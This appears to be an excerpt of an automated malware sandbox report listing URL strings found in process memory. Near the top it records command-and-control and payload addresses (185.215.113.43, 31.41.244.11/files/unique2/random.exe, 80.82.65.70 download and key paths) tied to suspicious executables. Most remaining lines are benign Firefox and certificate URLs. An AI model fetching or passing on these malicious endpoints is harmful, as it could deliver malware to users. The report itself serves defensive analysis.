Source: skotes.exe, 00000011.00000002.3331222029.000000000166E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpG
Source: skotes.exe, 00000011.00000002.3331222029.000000000166E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpP
Source: skotes.exe, 00000011.00000002.3331222029.000000000166E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phph
Source: skotes.exe, 00000011.00000002.3331222029.000000000166E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpncoded
Source: skotes.exe, 00000011.00000002.3331222029.000000000166E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phps
Source: skotes.exe, 00000011.00000002.3331222029.000000000166E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpta
Source: skotes.exe, 00000011.00000002.3331222029.000000000166E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/ons
Source: skotes.exe, 00000011.00000002.3331222029.000000000166E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/ta
Source: skotes.exe, 00000011.00000002.3331222029.0000000001628000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000011.00000002.3331222029.000000000163D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique2/random.exe
Source: skotes.exe, 00000011.00000002.3331222029.000000000163D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique2/random.exea
Source: 2533b4b8c7.exe, 00000012.00000003.3231623232.00000000058CE000.00000004.00000020.00020000.00000000.sdmp, 2533b4b8c7.exe, 00000012.00000003.3309348955.00000000058CE000.00000004.00000020.00020000.00000000.sdmp, 2533b4b8c7.exe, 00000012.00000003.3257366265.00000000058CE000.00000004.00000020.00020000.00000000.sdmp, 2533b4b8c7.exe, 00000012.00000003.3283675560.00000000058CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.
Source: 2533b4b8c7.exe, 00000012.00000003.3206055085.00000000058CE000.00000004.00000020.00020000.00000000.sdmp, 2533b4b8c7.exe, 00000012.00000002.3342180435.0000000005690000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/
Source: 2533b4b8c7.exe, 00000012.00000002.3342180435.0000000005690000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/add?substr=mixtwo&s=three&sub=emp
Source: 2533b4b8c7.exe, 00000012.00000002.3342180435.0000000005690000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/add?substr=mixtwo&s=three&sub=emp8P
Source: 2533b4b8c7.exe, 00000012.00000002.3342180435.0000000005690000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/add?substr=mixtwo&s=three&sub=empj
Source: 2533b4b8c7.exe, 00000012.00000002.3325397739.000000000101B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/dll/download
Source: 2533b4b8c7.exe, 00000012.00000002.3325397739.000000000101B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/dll/downloadVZ
Source: 2533b4b8c7.exe, 00000012.00000002.3342180435.0000000005690000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/dll/downloadhqos.dll.mui
Source: 2533b4b8c7.exe, 00000012.00000002.3325397739.0000000001008000.00000004.00000020.00020000.00000000.sdmp, 2533b4b8c7.exe, 00000012.00000002.3342180435.0000000005690000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/dll/key
Source: 2533b4b8c7.exe, 00000012.00000002.3342180435.0000000005690000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/dll/key&X
Source: 2533b4b8c7.exe, 00000012.00000002.3325397739.0000000001008000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/dll/key8t
Source: 2533b4b8c7.exe, 00000012.00000002.3342180435.0000000005690000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/dows
Source: 2533b4b8c7.exe, 00000012.00000003.3231623232.00000000058CE000.00000004.00000020.00020000.00000000.sdmp, 2533b4b8c7.exe, 00000012.00000003.3309348955.00000000058CE000.00000004.00000020.00020000.00000000.sdmp, 2533b4b8c7.exe, 00000012.00000003.3257366265.00000000058CE000.00000004.00000020.00020000.00000000.sdmp, 2533b4b8c7.exe, 00000012.00000003.3283675560.00000000058CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files
Source: 2533b4b8c7.exe, 00000012.00000002.3342180435.00000000056A0000.00000004.00000020.00020000.00000000.sdmp, 2533b4b8c7.exe, 00000012.00000003.3177154746.00000000058CE000.00000004.00000020.00020000.00000000.sdmp, 2533b4b8c7.exe, 00000012.00000003.3257366265.00000000058CE000.00000004.00000020.00020000.00000000.sdmp, 2533b4b8c7.exe, 00000012.00000003.3283675560.00000000058CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/download
Source: 2533b4b8c7.exe, 00000012.00000002.3342180435.00000000056AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/download&:
Source: 2533b4b8c7.exe, 00000012.00000002.3325397739.0000000000F69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/download0/files/downloadShel
Source: 2533b4b8c7.exe, 00000012.00000003.3206055085.00000000058CE000.00000004.00000020.00020000.00000000.sdmp, 2533b4b8c7.exe, 00000012.00000003.3177154746.00000000058CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/download:
Source: 2533b4b8c7.exe, 00000012.00000002.3325397739.0000000000F69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/downloadBROW
Source: 2533b4b8c7.exe, 00000012.00000002.3325397739.0000000000F69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/downloadMicr
Source: 2533b4b8c7.exe, 00000012.00000002.3342180435.00000000056AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/downloadN=
Source: 2533b4b8c7.exe, 00000012.00000002.3325397739.0000000000F69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/downloadSys&
Source: 2533b4b8c7.exe, 00000012.00000002.3325397739.0000000000F69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/download_REV
Source: 2533b4b8c7.exe, 00000012.00000002.3325397739.0000000000F69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/downloadault
Source: 2533b4b8c7.exe, 00000012.00000002.3325397739.0000000000F69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/downloadcal
Source: 2533b4b8c7.exe, 00000012.00000003.3283675560.00000000058CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/downloadd
Source: 2533b4b8c7.exe, 00000012.00000002.3325397739.0000000000F69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/downloadh=%P
Source: 2533b4b8c7.exe, 00000012.00000002.3325397739.0000000000F69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/downloadl
Source: 2533b4b8c7.exe, 00000012.00000002.3325397739.0000000000F69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/downloadogra
Source: 2533b4b8c7.exe, 00000012.00000002.3342180435.00000000056AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/downloadv=kn
Source: 2533b4b8c7.exe, 00000012.00000003.3309348955.00000000058CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/filesl
Source: 2533b4b8c7.exe, 00000012.00000003.3309348955.00000000058CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.g
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3304363170.00000132C3CD5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000003.3201091459.00000132C3CD5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearch/1.0/
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3304363170.00000132C3CD5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000003.3201091459.00000132C3CD5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearch/1.1/
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3304363170.00000132C3CD5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000003.3201091459.00000132C3CD5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearchdescription/1.0/
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3304363170.00000132C3CD5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000003.3201091459.00000132C3CD5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearchdescription/1.1/
Source: feb3d39b6a.exe, 00000013.00000003.3005610732.0000000005613000.00000004.00000800.00020000.00000000.sdmp, feb3d39b6a.exe, 00000016.00000003.3208690769.00000000056A9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3267365896.00000132BB0A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: feb3d39b6a.exe, 00000013.00000003.3005610732.0000000005613000.00000004.00000800.00020000.00000000.sdmp, feb3d39b6a.exe, 00000016.00000003.3208690769.00000000056A9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3267365896.00000132BB0A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: firefox.exe, 00000023.00000003.3140371807.00000132BA4DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3261062715.00000132BA4DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%s
Source: firefox.exe, 00000023.00000002.3249141559.00000132B6A73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%shttps://mail.yahoo.co.jp/compose/?To=%s
Source: firefox.exe, 00000023.00000002.3249141559.00000132B6A73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%shttps://mail.yahoo.co.jp/compose/?To=%shttps://poczt
Source: feb3d39b6a.exe, 00000013.00000003.3005610732.0000000005613000.00000004.00000800.00020000.00000000.sdmp, feb3d39b6a.exe, 00000016.00000003.3208690769.00000000056A9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3267365896.00000132BB0A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: feb3d39b6a.exe, 00000013.00000003.3005610732.0000000005613000.00000004.00000800.00020000.00000000.sdmp, feb3d39b6a.exe, 00000016.00000003.3208690769.00000000056A9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3267365896.00000132BB0A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: feb3d39b6a.exe, 00000013.00000003.3005610732.0000000005613000.00000004.00000800.00020000.00000000.sdmp, feb3d39b6a.exe, 00000016.00000003.3208690769.00000000056A9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3267365896.00000132BB0A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: feb3d39b6a.exe, 00000013.00000003.3005610732.0000000005613000.00000004.00000800.00020000.00000000.sdmp, feb3d39b6a.exe, 00000016.00000003.3208690769.00000000056A9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3267365896.00000132BB0A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: feb3d39b6a.exe, 00000013.00000003.3005610732.0000000005613000.00000004.00000800.00020000.00000000.sdmp, feb3d39b6a.exe, 00000016.00000003.3208690769.00000000056A9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3267365896.00000132BB0A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: firefox.exe, 00000023.00000002.3304363170.00000132C3C48000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3261762897.00000132BA737000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000003.3207024753.00000132C41D1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3260198511.00000132BA20F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3312097959.00000132C4260000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3237958152.00000132AA8D8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3282517712.00000132BBDB2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000003.3203625245.00000132BBDC0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com
Source: firefox.exe, 00000023.00000002.3304363170.00000132C3C48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/
Source: firefox.exe, 00000023.00000002.3289593951.00000132BD2C1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000003.3208033913.00000132C3C66000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3261762897.00000132BA793000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3304363170.00000132C3C65000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000003.3202991056.00000132C3C69000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/canonical.html
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/canonical.htmlACTIVITY_SUBTYPE_REQUEST_BODY_SENTlogin
Source: firefox.exe, 00000023.00000002.3302490357.00000132C2703000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3242416997.00000132B61F0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000003.3227898022.00000132C23A5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3282517712.00000132BBDB2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000003.3209291549.00000132C23A5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv4
Source: firefox.exe, 00000023.00000002.3302490357.00000132C2703000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3242416997.00000132B61F0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000003.3227898022.00000132C23A5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3282517712.00000132BBDB2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000003.3209291549.00000132C23A5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv6
Source: firefox.exe, 00000023.00000002.3283630557.00000132BCB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.addEventListener
Source: firefox.exe, 00000023.00000002.3265189555.00000132BACA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.addEventListenerFailed
Source: firefox.exe, 00000023.00000002.3283630557.00000132BCB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.removeEventListener
Source: firefox.exe, 00000023.00000002.3265189555.00000132BACA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.removeEventListenerThe
Source: firefox.exe, 00000023.00000003.3207024753.00000132C41C1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3270548472.00000132BB365000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-04/schema#
Source: firefox.exe, 00000023.00000003.3207024753.00000132C41C1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3270548472.00000132BB365000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-06/schema#
Source: firefox.exe, 00000023.00000003.3207024753.00000132C41C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-07/schema#-
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000003.3207024753.00000132C41C1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3268750012.00000132BB17B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3316055038.000004E319904000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org
Source: firefox.exe, 00000023.00000003.3207024753.00000132C4166000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3317389275.000039F659F00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3316055038.000004E319904000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3311278425.00000132C4166000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/additionalProperties
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/aboutWelcomeBehavior
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/appId
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/appName
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/autoFillAdaptiveHistoryMinCharsThreshold
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/autoFillAdaptiveHistoryUseCountThreshold
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bestMatchEnabledawesome-bar-result-menu-rollout-phase-1
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3270548472.00000132BB37B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/boolean
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items/properties/feature
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items/properties/feature/properties/featureId
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items/properties/feature/properties/value
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items/properties/feature/properties/value/additiona
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items/properties/ratio
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items/properties/slug
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0http://mozilla.org/#/properties/startDate
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/feature
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/feature/properties/enabled
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/feature/properties/featureId
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/feature/properties/value
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/feature/properties/value/additiona
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/features
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/features/items/properties/featureI
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/features/items/properties/value
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/features/items/properties/value/ad
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/features/items/properties/valuehtt
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/features/itemsmoz-extension://6290
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/ratio
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/slug
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1http://mozilla.org/#/properties/outcomes/items
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/items/properties/featureI
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/items/properties/value
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/items/properties/value/ad
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/itemsmoz-extension://2f55
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/ratio
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/slug
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/23eec18fa-2067-4082-925e-9c8a7241148b
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bucketConfig
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bucketConfig/properties/count
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bucketConfig/properties/namespace
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bucketConfig/properties/randomizationUnit
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bucketConfig/properties/start
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bucketConfig/properties/total
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/channel
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/disableGreaseOnFallback
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/dnsMaxAnyPriorityThreads
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/dnsMaxPriorityThreads
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/ehPreconnectEnabled
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/ehPreloadEnabledfeatureUpdate:searchConfiguration
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/endDate
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/enrollmentEndDate
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/experimentType
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/exposureResults
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/featureIds/itemscreateContextWithTimeout/get/
